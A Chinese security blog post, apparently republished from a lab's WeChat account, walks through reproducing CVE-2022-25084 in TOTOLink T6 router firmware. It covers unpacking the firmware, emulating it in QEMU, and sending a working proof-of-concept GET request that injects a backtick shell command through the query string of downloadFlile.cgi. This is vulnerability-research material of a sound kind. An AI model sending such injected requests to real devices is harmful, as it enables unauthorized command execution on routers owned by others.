TOTOLink CVE-2022-25084复现

admin 2022年11月17日01:30:23评论205 views字数 2499阅读8分19秒阅读模式

星期五实验室

阅读须知
星期五实验室的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息造成的直接或间接后果和损失,均由使用者本人负责。


星期五实验室拥有对此文章的修改、删除和解释权限,如转载或传播此文章,需保证文章的完整性,未经授权,不得用于其他。




00

复现环境

TOTOLink CVE-2022-25084复现


主机操作系统:ubuntu18.04
QEMU系统:debian-mipsel
软件:ida7.7
固件版本:T6_Firmware V5.9c.4085_B20190428
固件下载链接
https://www.totolink.net/data/upload/20190823/7709dc2d95f5da71d8af89f5921f5ffb.zip





01

固件解包

TOTOLink CVE-2022-25084复现

binwalk -Me TOTOLINK_C818NR_T6_IP04338_8197FN_SPI_16M128M_V5.9c.4085_B20190428_ALL.web


下载完固件后,直接用binwalk解包
TOTOLink CVE-2022-25084复现


squashfs-root即是路由器系统文件,将其单独cp出来





02

qemu环境搭建

TOTOLink CVE-2022-25084复现

cd 进squashfs-root,随便看一个bin目录下的elf文件,看看是什么架构
TOTOLink CVE-2022-25084复现


32位 LSB mips,所以使用qemu-system-mipsel
下载对应版本镜像和虚拟磁盘
wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta


下载完后在该路径下创建一个init.sh用于启动qemu虚拟机和网络搭建
#!/bin/sh sudo brctl addbr virbr2sudo ifconfig virbr2 192.168.6.1/24 upsudo tunctl -t tap2sudo ifconfig tap2 192.168.6.11/24 upsudo brctl addif virbr2 tap2qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic


这里的网络配置是搭建一个虚拟网桥,将tap2网口加入网桥中,然后qemu通过tap2创建虚拟机,这样创建完虚拟机就在网桥中。

启动虚拟机
chmod +x ./init.shsudo ./init.sh


账号密码为root root
TOTOLink CVE-2022-25084复现


进入虚拟机后第一时间给虚拟机配一个ip
ifconfig eth0 192.168.6.12 upping 192.168.6.11


理论上配完ip就可以直接ping通主机了。
TOTOLink CVE-2022-25084复现


为了之后环境运行不缺失文件,这里插入一段给系统文件添加环境的步骤:

在主机执行

mkdir ./squashfs-root/var/runtouch ./squashfs-root/var/run/lighttpd.pid


不创建这个文件的话一会起路由器服务会报文件缺失。
然后在主机执行scp指令,将root文件拷贝进虚拟机
scp -r squashfs-root/ root@192.168.6.12:/root/


拷贝完就能在虚拟机里看到文件了

TOTOLink CVE-2022-25084复现


直接在虚拟机执行
chroot squashfs-root/ sh./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib


TOTOLink CVE-2022-25084复现


然后直接打开firefox访问这个路径:
TOTOLink CVE-2022-25084复现


即可看到登陆界面。(不过这个登陆界面好像不是很完美,可能是有某些文件缺失)




03

漏洞复现

TOTOLink CVE-2022-25084复现

漏洞文件在squashfs-root/web_cste/cgi-bin/downloadFlile.cgi中,把文件拖到ida中看,可以看到:
TOTOLink CVE-2022-25084复现


main函数中可以看到,可以通过构造请求包,控制QUERY_STRING的方式,进行恶意命令执行。
TOTOLink CVE-2022-25084复现


POC:
GET /cgi-bin/downloadFlile.cgi?payload=`ls>../cmd.txt` HTTP/1.1Host: 192.168.6.12User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:105.0) Gecko/20100101 Firefox/105.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1


攻击结果:
TOTOLink CVE-2022-25084复现


直接访问cmd.txt,发现命令已经被执行。


FRIDAY LAB

    星期五实验室成立于2017年,汇集众多技术研究人员,在工业互联网安全前瞻技术研究方向上不断进取。星期五实验室由海内外知名高校的学院精英及来自于顶尖企业的行业专家组成,且大部分人员来自国际领先、国内知名的黑客战队——浙大AAA战队。作为木链科技专业的技术研发团队,星期五实验室凭借精湛的专业技术水平,为产品研发提供新思路、为行业技术革新探索新方向。

TOTOLink CVE-2022-25084复现
TOTOLink CVE-2022-25084复现
TOTOLink CVE-2022-25084复现
TOTOLink CVE-2022-25084复现
TOTOLink CVE-2022-25084复现

扫二维码|关注我们

星期五实验室
FRIDAY LAB


原文始发于微信公众号(星期五实验室):TOTOLink CVE-2022-25084复现

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月17日01:30:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   TOTOLink CVE-2022-25084复现http://cn-sec.com/archives/1411468.html

发表评论

匿名网友 填写信息